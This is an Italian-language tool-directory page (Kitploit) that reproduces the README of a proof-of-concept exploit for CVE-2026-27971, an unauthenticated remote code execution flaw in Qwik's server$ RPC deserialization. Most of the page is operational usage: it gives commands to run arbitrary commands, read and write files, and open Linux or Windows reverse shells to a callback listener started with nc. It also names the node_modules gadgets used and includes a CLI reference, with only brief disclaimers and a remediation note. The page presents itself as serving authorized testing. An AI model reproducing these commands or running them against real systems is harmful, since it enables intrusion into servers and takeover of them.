Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-27971_POC — CVE-2026-27971 qwik rce | Kitploit
Strumenti/GitHubGitHub/ghalendar/cve-2026-27971_poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingCommand and ControlRed TeamingStrumento di Accesso RemotoSviluppo Payload
GitHubghalendar/cve-2026-27971_poc

CVE-2026-27971_POC

CVE-2026-27971 qwik rce

Vedi Repository
51 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-27971 — PoC di RCE non autenticata in Qwik server$

[!WARNING] Questo repository contiene una proof of concept attiva di esecuzione di codice in remoto. Usala solo contro sistemi di tua proprietà o per i quali hai ricevuto esplicita autorizzazione al test. L'autore non si assume alcuna responsabilità per usi non autorizzati o danni.

Una proof of concept Python autonoma per CVE-2026-27971 / GHSA-p9x5-jp3h-96mm, una vulnerabilità di esecuzione di codice in remoto non autenticata nel meccanismo di deserializzazione RPC server$ di Qwik.

Il PoC può eseguire una sonda attiva con marcatore, eseguire comandi, leggere o scrivere file di testo e richiedere una reverse shell su target Linux o Windows. Utilizza solo la libreria standard di Python.

Riepilogo della vulnerabilità

Scarica lo strumento
CampoValore
ProdottoQwik — pacchetto npm @builder.io/qwik
Versioni interessate<= 1.19.0
Versione corretta1.19.1
VulnerabilitàEsecuzione di codice in remoto non autenticata tramite deserializzazione non sicura di server$
Condizione di runtimerequire() deve essere disponibile in esecuzione
CWECWE-502 — Deserializzazione di dati non attendibili
GravitàCritica — CVSS 4.0: 9.2
VettoreCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Una richiesta application/qwik-json appositamente costruita può fare riferimento a un modulo lato server e a un simbolo esportato. Le versioni vulnerabili di Qwik possono risolvere una QRL non registrata tramite require() in esecuzione e invocarla senza autenticazione. Questo PoC tenta di raggiungere un export di esecuzione di processo compatibile già presente nella node_modules del target.

Requisiti

Operatore:

  • Python 3.
  • Accesso di rete alla route esatta di Qwik che elabora la richiesta server$/Qwik JSON.
  • Un listener raggiungibile dal target quando si testa la funzionalità di reverse shell.

Target:

  • Una distribuzione Qwik vulnerabile che usa @builder.io/qwik <= 1.19.0.
  • Un runtime in cui require() è disponibile.
  • Un modulo gadget compatibile e un export accessibili in node_modules.
  • node disponibile nel PATH del processo del servizio.
  • Permessi sufficienti dell'account del servizio per il comando o l'operazione su file richiesti.

Non sono richiesti pacchetti Python di terze parti.

Avvio rapido

root@kitploit:~
git clone https://github.com/Ghalendar/CVE-2026-27971_POC.git
cd CVE-2026-27971_POC
python3 exploit_combat.py --help

Elenca i gadget integrati senza inviare una richiesta:

root@kitploit:~
python3 exploit_combat.py --list-gadgets

Esegui una sonda attiva con marcatore e prova ogni gadget integrato:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --probe

[!IMPORTANT] --probe non è un rilevamento passivo della versione. Tenta l'esecuzione di codice in remoto e la conferma stampando un marcatore dal processo del target.

Esempi di utilizzo

Esegui un comando:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --CMD "node -p process.platform"

Leggi un file di testo UTF-8:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --read package.json

Scrivi e verifica un file di testo UTF-8:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --write qwik-poc.txt --content "authorized lab test"

Richiedi una reverse shell dopo aver avviato un listener persistente:

root@kitploit:~
nc -lvnp 4444
root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --lhost 10.10.10.1 --lport 4444 --callback

Forza il payload della reverse shell Windows quando il rilevamento automatico del sistema operativo non è adatto:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --OS windows --lhost 10.10.10.1 --lport 4444

Lo script non avvia un listener. Il pre-controllo --callback apre e chiude una connessione TCP separata prima di inviare il payload della shell, quindi usa un listener in grado di accettare più di una connessione.

Riferimento CLI

OpzioneDescrizione
-t URL, --target URLURL esatto del target. Predefinito: http://localhost:3000. La route non viene scoperta automaticamente.
--probeEsegue attivamente un payload marcatore e tenta il rilevamento del sistema operativo.
-c CMD, --CMD CMDEsegue un comando tramite child_process.execSync() di Node.js.
--read PATHLegge un file di testo UTF-8 usando fs.readFileSync().
--write PATH --content TEXTScrive un file di testo, lo rilegge e confronta il risultato. Le directory padre non vengono create.
--list-gadgetsStampa i nomi dei gadget integrati ed esce senza una richiesta di rete.
--lhost IPAbilita la modalità reverse shell e imposta l'indirizzo di callback.
--lport PORTImposta la porta di callback. Predefinita: 4444.
--rev-allInvia ogni variante di reverse shell invece di fermarsi dopo la prima richiesta HTTP accettata.
--callbackVerifica la raggiungibilità TCP in uscita prima di inviare un payload di reverse shell.
--OS {auto,linux,windows}Seleziona la famiglia di payload della reverse shell. Predefinito: auto.
--gadget SPECUsa auto, un nome integrato o un <module>#<symbol> personalizzato. Predefinito: cross-spawn.sync.
--arg-style {argv,command,shell}Stile degli argomenti per un gadget <module>#<symbol> personalizzato.
--timeout SECONDSTimeout HTTP lato client. Predefinito: 30.
--verify-sslAbilita la verifica del certificato TLS e del nome host. La verifica è disabilitata per impostazione predefinita.

Le modalità di azione non si escludono a vicenda nel parser. Usane una tra --probe, --CMD, --read, --write o --lhost per invocazione.

Gadget integrati

NomeModulo ed exportStile
cross-spawn.sync./node_modules/cross-spawn/index#syncargv
cross-spawn.index-js./node_modules/cross-spawn/index.js#syncargv
execa.sync./node_modules/execa/index#syncargv
execa.index-js.sync./node_modules/execa/index.js#syncargv
execa.commandSync./node_modules/execa/index#commandSynccommand
execa.index-js.commandSync./node_modules/execa/index.js#commandSynccommand
node-cmd.runSync./node_modules/node-cmd/cmd#runSyncshell
node-cmd.cmd-js.runSync./node_modules/node-cmd/cmd.js#runSyncshell

--gadget auto testa questi gadget nell'ordine elencato. Un gadget personalizzato può essere fornito come segue:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget "./node_modules/package/path#exportName" --arg-style argv --probe

Limitazioni importanti

  • Una sonda negativa non è la prova che sul target sia stata applicata la correzione. Potrebbe indicare una route errata, un gadget mancante o incompatibile, un errore di rete/TLS, filtri o un diverso layout di distribuzione.
  • Il gadget predefinito è cross-spawn.sync, non la scoperta automatica. Usa --gadget auto quando il layout delle dipendenze del target è sconosciuto.
  • Lo strumento non ha opzioni per cookie, header di autorizzazione, proxy o header personalizzati arbitrari.
  • Le operazioni sui file sono orientate al testo. --read si aspetta UTF-8 e --write non è pensato per dati binari.
  • I percorsi relativi vengono risolti a partire dalla directory di lavoro del processo Qwik. Tutte le operazioni vengono eseguite con i permessi dell'account del servizio Qwik.
  • I messaggi di successo della reverse shell indicano che la richiesta HTTP dell'exploit è stata accettata; non provano che sia stato ricevuto un callback.
  • --rev-all può avviare più processi o callback sul target. Usalo solo in un laboratorio isolato.
  • I codici di uscita del processo riflettono principalmente la gestione della sonda e del trasporto, non lo stato di uscita del comando remoto o la presenza di una shell funzionante.
  • Lo strumento non identifica la versione di Qwik installata e non dovrebbe essere usato come sostituto dell'inventario delle dipendenze.

Rimedio

Aggiorna @builder.io/qwik a 1.19.1 o versione successiva, aggiorna il lockfile, ricompila l'applicazione e ridistribuisci tutti gli artefatti del server. Rimuovere da solo un gadget compatibile non è una soluzione completa per la vulnerabilità sottostante di Qwik.

Riferimenti

  • Advisory di sicurezza Qwik — GHSA-p9x5-jp3h-96mm
  • Database degli advisory GitHub — CVE-2026-27971
  • Rilascio corretto di Qwik 1.19.1
  • Commit di correzione upstream
  • Record CVE
  • Voce NVD

Nota legale

Questo progetto è fornito per ricerca sulla sicurezza, validazione difensiva e test autorizzati. Non usarlo contro sistemi senza permesso esplicito.